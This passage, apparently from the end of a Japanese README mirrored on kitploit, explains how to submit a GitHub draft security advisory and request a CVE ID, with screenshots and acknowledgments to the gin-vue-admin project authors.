Descriptionに脆弱性の内容、再現手順、PoCを記入し、その後「create draft security advisory」をクリックします。

**当時、初めて申請したため、ミスを犯しました。草稿を1つ作成しただけでリクエストを行わなかったため、無駄に7日間待つことになりました。**

![image-20220107165651894](https://assets.kitploit.com/production/public/readmes/21446/7131fd63bff3675f9f1e90709e4d7b271d261d6b34daa93f2d523a298522a2f8.png)

書き終えたら必ずページ下部までスクロールし、「request cve id」をクリックしてください。

![image-20220107165714011](https://assets.kitploit.com/production/public/readmes/21446/33f99cef9367fb123421c75786e4320f22b85e7c92b829653349ac74fc7ecea5.png)

![image-20220107165744293](https://assets.kitploit.com/production/public/readmes/21446/6c825102428e2d57120514254bf419322d5e40e83787a440a83797ee1a7e97ac.png)

> 参考記事:https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### 七、謝辞

+ 作者チームのページ:https://github.com/flipped-aurora/
+ 作者のGitHub:https://github.com/piexlmax
+ Gin-vue-adminプロジェクトアドレス:https://github.com/flipped-aurora/gin-vue-admin
ツールをダウンロード